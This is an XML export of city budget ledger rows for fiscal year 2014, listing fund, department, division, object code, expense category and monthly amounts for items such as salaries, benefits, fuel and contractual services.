<row _id="6669"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1879.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1879.0</total></row>
<row _id="6670"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2852.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2852.0</total></row>
<row _id="6671"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400980.0</object><object_description>SURF &amp; SAND APPLICATION FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-51250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-51250.0</total></row>
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<row _id="6673"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1568.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1568.0</total></row>
<row _id="6674"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>560010.0</object><object_description>SCADA O &amp; M</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>23837.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23837.0</total></row>
<row _id="6675"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>46469.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>46469.0</total></row>
<row _id="6676"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10364.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10364.0</total></row>
<row _id="6677"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>76030.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>76030.0</total></row>
<row _id="6678"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>187274.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>187274.0</total></row>
<row _id="6679"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>278.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>278.0</total></row>
<row _id="6680"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="6681"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-12065.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-12065.0</total></row>
<row _id="6682"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>541850.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>541850.0</total></row>
<row _id="6683"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1350.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1350.0</total></row>
<row _id="6684"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>850.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>850.0</total></row>
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<row _id="6710"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>276.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>276.0</total></row>
<row _id="6711"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29463.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29463.0</total></row>
<row _id="6712"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1764.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1764.0</total></row>
<row _id="6713"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="6714"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3651.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3651.0</total></row>
<row _id="6715"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2018.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2018.0</total></row>
<row _id="6716"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>775.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>775.0</total></row>
<row _id="6717"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-402557.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-402557.0</total></row>
<row _id="6718"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402700.0</object><object_description>REGULAR FUEL-DEPT USAGE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-450000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-450000.0</total></row>
<row _id="6719"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3873.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3873.0</total></row>
<row _id="6720"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1992.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1992.0</total></row>
<row _id="6721"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522930.0</object><object_description>VEHICLES - TIRES / TUBES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>148625.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>148625.0</total></row>
<row _id="6722"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19475.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19475.0</total></row>
<row _id="6723"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>51250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51250.0</total></row>
<row _id="6724"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>16318.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16318.0</total></row>
<row _id="6725"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8491.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8491.0</total></row>
<row _id="6726"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>834.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>834.0</total></row>
<row _id="6727"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2807.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2807.0</total></row>
<row _id="6728"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>626.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>626.0</total></row>
<row _id="6729"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5778.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5778.0</total></row>
<row _id="6730"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>566610.0</object><object_description>PROCESS &amp; HAULING EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500000.0</total></row>
<row _id="6731"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6732"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6733"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6734"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="6785"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522510.0</object><object_description>COMMUNITY OUTREACH</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19342.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19342.0</total></row>
<row _id="6786"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>575.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>575.0</total></row>
<row _id="6787"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>87734.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>87734.0</total></row>
<row _id="6788"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>651.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>651.0</total></row>
<row _id="6789"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15249.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15249.0</total></row>
<row _id="6790"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>52</fund_id><fund_name>Special Aviation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-1700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1700.0</total></row>
<row _id="6791"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>555121.0</object><object_description>ASSFC PASS-THRU</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>200000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>200000.0</total></row>
